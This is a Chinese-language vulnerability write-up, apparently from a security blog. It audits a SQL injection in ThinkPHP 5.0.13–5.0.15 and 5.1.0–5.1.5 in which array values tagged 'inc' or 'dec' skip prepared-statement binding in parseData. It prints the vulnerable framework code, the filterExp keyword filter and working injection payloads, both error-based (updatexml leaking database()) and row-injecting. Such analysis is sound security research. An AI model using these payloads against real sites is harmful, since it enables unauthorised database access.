前言
刚把tp5的RCE给审的差不多了,审的很爽,接下来审一下thinkphp5各个版本的SQL注入。
这里先开始审parseData方法造成的SQL注入,然后接下来几篇文章按照这个顺序来依次审计。
代码不用说了,composer先下载下来。
composer create-project topthink/think=5.0.15 thinkphp5.0.15
下载来的%99都是版本不对,改一下composer.json
然后composer update就可以了。
index控制器那里写一下insert语句:
class Index
{
public function index()
{
$username = request()->get('username/a');//以数组的格式获取$_GET中的username变量,然后作为参数传入insert()
db('users')->insert(['username' => $username,'password'=>'testpasswd']);
return 'Update success';
}
}
比较懒,数据库还是用sqli-labs的那个users库。
在application/database.php那里设置一下数据库:
开启 application/config.php 中的 app_debug 和 app_trace 。开启app_debug才可以看到报错注入的注入语句。
parseData()方法的注入,漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
分析
这里涉及的是insert注入,一开始可能会不理解为什么$username
的获取那里要get(‘username/a’),转为数组,而不是直接获取字符串,那先把/a
给去掉,传?username=adb
,直接获取字符串,来看一下这一路上的代码逻辑。
跟进insert()
方法,parseExpress()
方法执行后,产生了这样的$option
相当于只是获得一下查询的表名称。再跟进$this->builder->insert
,这个生成SQL语句的函数:
有问题的函数就是这个parseData,不过这里先不分析。这里不打断点继续执行,产生的$data
是这样:
产生了预编译参数。然后这里产生关键的SQL语句,就相当于直接替换了,替换后的结果是这样。
INSERT INTO `users` (`username` , `password`) VALUES (:data__username , :data__password)
继续跟进,进入execute
执行函数:
关键的就是这几句代码,对$sql
,那个SQL语句进行prepare
,然后bindParam()
,进行一下参数绑定,然后执行语句,最终相当于一开始预编译语句是这个,然后绑定参数进行执行。:
INSERT INTO `users` (`username` , `password`) VALUES (:data__username , :data__password)
INSERT INTO `users` (`username` , `password`) VALUES ("abc" , "testpasswd")
结果也很明显了,肯定没法进行SQL注入,因为最后用了预编译,即使之前的那个SQL语句的产生是直接的替换,也无法实现注入。
再来看一下那个出了问题的parseData()
函数:
/**
* 数据分析
* @access protected
* @param array $data 数据
* @param array $options 查询参数
* @return array
* @throws Exception
*/
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}
产生预编译的那些是因为进入了这个if:
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
产生了:data_username
和:data_password
的预处理。
但是如果$val
是数组呢?get()方法那里改成username/a
,会进入这个:
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
}
如果$val[0]
是exp,inc,或者dec的话username的那一部分就不会产生预编译了,而是直接字符串,然后替换进入SQL语句中,不过exp不能用,因为
get方法会对exp进行过滤,使"exp"
变成"exp "。
跟进一下get,先获得$_GET
,然后进入input:
再进入filterValue():
在filterValue方法中因为没用可回调的filter,所以最终调用这个:
进行了过滤,所以EXP不行。
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}
但是inc和dec都可以。payload如下:
?username[0]=inc&username[1]=updatexml(1,concat(0x7e,database(),0x7e),1)&username[2]=1
产生的SQL语句是这样:
INSERT INTO `users` (`username` , `password`) VALUES (updatexml(1,concat(0x7e,database(),0x7e),1)+1 , :data__password)
SQL语句并不是预编译,而是直接插入,实现了SQL注入。不过这只是报错注入,如果没开启报错,而且有回显的点的话,就可以这样:
?username[0]=inc&username[1]=database(),database()),("123"&username[2]=1
执行的SQL语句是这样:
INSERT INTO `users` (`username` , `password`) VALUES (database(),database()),("123"+1 , 'testpasswd')
放一下七月火师傅的总结图:
修复
去github上看一下thinkphp5.0.16的更新信息:
看一下这个改进的inc/dec查询: